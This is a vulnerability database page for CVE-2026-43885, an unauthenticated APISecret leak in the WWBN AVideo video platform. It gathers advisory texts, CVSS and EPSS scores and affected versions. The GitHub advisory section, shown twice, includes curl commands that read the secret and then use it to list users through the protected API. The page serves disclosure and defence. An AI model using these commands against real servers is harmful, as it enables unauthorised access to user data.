Every CVE Search/ Get API key

CVE-2026-43885

WWBN AVideo: Exposure of Sensitive Information to an Unauthorized Actor and Missing Authorization

7.7 High

WWBN AVideo is an open source video platform. In versions up to and including 29.0, an unauthenticated user can read APISecret from objects/plugins.json.php and use it to call protected API endpoints (e.g. users_list) without logging in. Commit 1c36f229d0a103528fb9f64d0a1cc0e1e8f5999b contains an updated fix.

Attack profile

How easy it is to exploit

Attack vector
Network
Complexity
Low
Privileges needed
None
User interaction
None

What an attacker can affect

Confidentiality
High
Integrity
None
Availability
None

Exploit likelihood

0.34%Up 0.3 points since May 12, 2026
90%50%10%1%

What each source reports

CVE List Score used 7.7

WWBN AVideo: Exposure of Sensitive Information to an Unauthorized Actor and Missing Authorization

WWBN AVideo is an open source video platform. In versions up to and including 29.0, an unauthenticated user can read APISecret from objects/plugins.json.php and use it to call protected API endpoints (e.g. users_list) without logging in. Commit 1c36f229d0a103528fb9f64d0a1cc0e1e8f5999b contains an updated fix.

Record
CVE-2026-43885
CVSS 4.0
7.7 HighCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:P
Weakness
CWE-200, CWE-862
Updated
2026-11-02
EUVDEUVD-2026-29321 7.7

WWBN AVideo is an open source video platform. In versions up to and including 29.0, an unauthenticated user can read APISecret from objects/plugins.json.php and use it to call protected API endpoints (e.g. users_list) without logging in. Commit 1c36f229d0a103528fb9f64d0a1cc0e1e8f5999b contains an updated fix.

Record
EUVD-2026-29321
CVSS 4.0
7.7 HighCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:P
Updated
2026-11-02
GitHub AdvisoriesGHSA-xr49-f4rh-qcjf 7.7

AVideo Vulnerable to Exposure of Sensitive Information to an Unauthorized Actor and Missing Authorization

Summary

An unauthenticated user can read APISecret from objects/plugins.json.php and use it to call protected API endpoints (e.g. users_list) without logging in.

Details

objects/plugins.json.php is public and still exposes plugin object_data containing APISecret. That secret is accepted by plugin/API/get.json.php as authentication.

PoC

  1. Get plugin config (contains APISecret):
curl 'http://<host>/objects/plugins.json.php'

<img width="879" height="94" alt="image" src="https://github.com/user-attachments/assets/027073fc-dccd-4e1d-8450-ad12345e88eb" />

  1. Copy APISecret from response, then call API directly:
curl --get 'http://<host>/plugin/API/get.json.php' \
  --data-urlencode 'APIName=users_list' \
  --data-urlencode 'APISecret=<APISecret>' \
  --data-urlencode 'rowCount=3' \
  --data-urlencode 'current=1'

<img width="1719" height="170" alt="image" src="https://github.com/user-attachments/assets/edd629be-e75c-40a2-a52f-2f2e6da99b79" />

Impact

Unauthenticated disclosure of sensitive config (APISecret) leading to unauthorized access to protected API data.

Recommended fix

Requiring admin auth for full plugin inventory/config endpoint.

Record
GHSA-xr49-f4rh-qcjf
CVSS 4.0
7.7 HighCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:P
Weakness
CWE-200, CWE-862
Updated
2026-11-02
NVD 7.7

WWBN AVideo is an open source video platform. In versions up to and including 29.0, an unauthenticated user can read APISecret from objects/plugins.json.php and use it to call protected API endpoints (e.g. users_list) without logging in. Commit 1c36f229d0a103528fb9f64d0a1cc0e1e8f5999b contains an updated fix.

Record
CVE-2026-43885
CVSS 4.0
7.7 HighCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Weakness
CWE-200, CWE-862
Updated
2026-11-02
OSV 7.7

WWBN AVideo: Exposure of Sensitive Information to an Unauthorized Actor and Missing Authorization

WWBN AVideo is an open source video platform. In versions up to and including 29.0, an unauthenticated user can read APISecret from objects/plugins.json.php and use it to call protected API endpoints (e.g. users_list) without logging in. Commit 1c36f229d0a103528fb9f64d0a1cc0e1e8f5999b contains an updated fix.

Record
CVE-2026-43885
CVSS 4.0
7.7 HighCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:P
Weakness
CWE-200, CWE-862
Updated
2026-11-02
OSVGHSA-xr49-f4rh-qcjf 7.7

AVideo Vulnerable to Exposure of Sensitive Information to an Unauthorized Actor and Missing Authorization

Summary

An unauthenticated user can read APISecret from objects/plugins.json.php and use it to call protected API endpoints (e.g. users_list) without logging in.

Details

objects/plugins.json.php is public and still exposes plugin object_data containing APISecret. That secret is accepted by plugin/API/get.json.php as authentication.

PoC

  1. Get plugin config (contains APISecret):
curl 'http://<host>/objects/plugins.json.php'

<img width="879" height="94" alt="image" src="https://github.com/user-attachments/assets/027073fc-dccd-4e1d-8450-ad12345e88eb" />

  1. Copy APISecret from response, then call API directly:
curl --get 'http://<host>/plugin/API/get.json.php' \
  --data-urlencode 'APIName=users_list' \
  --data-urlencode 'APISecret=<APISecret>' \
  --data-urlencode 'rowCount=3' \
  --data-urlencode 'current=1'

<img width="1719" height="170" alt="image" src="https://github.com/user-attachments/assets/edd629be-e75c-40a2-a52f-2f2e6da99b79" />

Impact

Unauthenticated disclosure of sensitive config (APISecret) leading to unauthorized access to protected API data.

Recommended fix

Requiring admin auth for full plugin inventory/config endpoint.

Record
GHSA-xr49-f4rh-qcjf
CVSS 4.0
7.7 HighCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:P
Weakness
CWE-200, CWE-862
Updated
2026-11-02

Affected products

Affected packages

Affected packages
PackageAffectedFixed
wwbn/avideo
Packagist
 through 29.0 None known
wwbn/avideo
Packagist
 through 29.0, plus listed versions
10.410.81111.111.1.1
Show 12 moreShow less
11.511.612.414.314.3.114.418.021.022.024.025.026.0
 None known

History

History
RecordedChangedSources
first indexedCVE List, EUVD, GitHub Advisories, NVD, OSV

Dates are when Every CVE recorded each change. Upstream dates may differ.

In short

CVE-2026-43885 is a high vulnerability (CVSS 7.7) in Wwbn Avideo, published May 5, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.34%, the 27th percentile. No source names a fixed version.

References

Pages All vulnerabilities Browse Docs Sources Guide Get API key
MoveEnter Open